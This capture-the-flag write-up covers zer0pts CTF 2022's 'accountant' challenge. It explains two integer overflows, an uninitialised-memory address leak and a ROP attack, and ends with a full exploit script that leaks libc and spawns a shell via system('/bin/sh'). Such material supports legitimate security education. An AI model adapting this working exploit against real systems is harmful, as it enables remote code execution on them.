# accountant - zer0pts CTF 2022
###### tags: `zer0pts CTF 2022` `pwn`
Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9
## Overview
ELF x86-64 with full security:
```
$ checksec chall
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
```
## Bug
You can find an obvious integer overflow in the `main` function. We can make `n` very big while the size of `items` is small because of this bug.
```c
#define safe_alloca(N) ((N) < 4032 ? alloca (N) : NULL)
...
if ((items = safe_alloca(n * sizeof(Item))) == NULL) {
use_malloc = 1;
if ((items = calloc(n, sizeof(Item))) == NULL) {
puts("Memory Error\n");
return 1;
}
}
```
There is another integer overflow. The type of `n` is `ssize_t` in `main` but it's reduced to `int` during passing the value as an argument for `input_all_data`.
```c
void input_all_data(Item *items, int n) {
for (int i = 0; i < n; i++) {
input_data(items, i);
}
}
...
input_all_data(items, n);
```
This integer overflow happens in `calc_total` too.
```c
int64_t calc_total(Item *items, int n) {
int64_t total = 0;
int i = n - 1;
do {
total += items[i].price * items[i].quantity;
} while(i-- > 0);
return total;
}
...
printf("Total: $%ld\n", calc_total(items, n));
```
## RIP control
We can modify some values in `items` after calculating the sum. By the first integer overflow, `n` is very big but `items` is small. So, we can overwrite the return address of `main` and inject ROP chain without corrupting the stack canary here.
```c
input_all_data(items, n);
printf("Total: $%ld\n", calc_total(items, n));
if (get_value("Would you like to fix data? [1=Yes] ") == 1) {
while (1) {
off_t i = get_value("Index to modify (-1 to quit): ");
if (i < 0 || i >= n)
break;
else
input_data(items, i);
}
printf("Total: $%ld\n", calc_total(items, n));
}
```
## Address Leak
The hardest part of this challenge is address leak. We have one chance to leak a value before injecting the ROP chain.
```c
input_all_data(items, n);
printf("Total: $%ld\n", calc_total(items, n));
```
Can we take advantage of this `printf` to leak the address?
Let's check the second integer overflow again:
```c
void input_data(Item *items, int i) {
printf("Item %d:\n", i+1);
items[i].price = get_value(" Price: $");
items[i].quantity = get_value(" Quantity: ");
}
void input_all_data(Item *items, int n) {
for (int i = 0; i < n; i++) {
input_data(items, i);
}
}
int64_t calc_total(Item *items, int n) {
int64_t total = 0;
int i = n - 1;
do {
total += items[i].price * items[i].quantity;
} while(i-- > 0);
return total;
}
```
Remember `n` in these functions can be very small because of the integer overflow.
Also, you'll notice the loop in `calc_total` runs at least one time while the loop in `input_all_data` does not.
If we set `(int)n` to be zero, the loop in `input_all_data` will be skipped but `calc_total` adds the first item to the sum. Because `input_all_data` is skipped, the value in `items` is still uninitialized.
You'll find this uninitialized buffer contains a pointer to the process. So, we can leak the following value:
$(\mathrm{address} \mod 2^{32}) \times (\mathrm{address} \mathrm{>>} 32)$
Because the upper 32-bit of the process address is between 0x5500 and 0x5700, we can hopefully solve this equation by a small brute-force.
## Exploit
```
$ sage --python pip install ptrlib
$ sage exploit.py
```
```python=
import os
from sage.all import *
from ptrlib import *
HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "9001")
libc = ELF("../distfiles/libc-2.31.so")
elf = ELF("../distfiles/chall")
sock = Socket(HOST, int(PORT))
"""
Step 1. Address leak
"""
n = (1<<64) // 8
sock.sendlineafter(": ", str(n))
t = int(sock.recvlineafter("$"))
# y * x = t mod 2^32, where y \in (0x5500, 0x5700) and x = ??? mod 2^12
x = var('x')
proc_base = None
for y in range(0x5500, 0x5700):
candidates = solve_mod(y * x == t, 2**32)
for lower in candidates:
if int(lower[0]) & 0xfff == 0xb6c:
proc_base = (y << 32) | int(lower[0]) - 0xb6c
break
if proc_base is not None:
break
logger.info("proc = " + hex(proc_base))
rop_pop_rdi = proc_base + 0x00000d53
"""
Step 2. ROP to leak libc address
"""
sock.sendlineafter("]", "1")
chain = [
rop_pop_rdi,
proc_base + elf.got('puts'),
proc_base + elf.plt('puts'),
proc_base + elf.symbol('main'),
]
ofs = 11
for qword in chain:
sock.sendlineafter(": ", str(ofs))
sock.sendlineafter("$", str(qword & 0xffffffff))
sock.sendlineafter(": ", str(qword >> 32))
ofs += 1
sock.sendlineafter(": ", "-1")
sock.recvline()
sock.recvline()
libc_base = u64(sock.recvline()) - libc.symbol('puts')
logger.info("libc = " + hex(libc_base))
"""
Step 3. ROP to win
"""
sock.sendlineafter(": ", str(n))
sock.sendlineafter("]", "1")
chain = [
rop_pop_rdi + 1,
rop_pop_rdi,
libc_base + next(libc.find('/bin/sh')),
libc_base + libc.symbol('system')
]
ofs = 11
for qword in chain:
sock.sendlineafter(": ", str(ofs))
sock.sendlineafter("$", str(qword & 0xffffffff))
sock.sendlineafter(": ", str(qword >> 32))
ofs += 1
sock.sendlineafter(": ", "-1")
sock.interactive()
```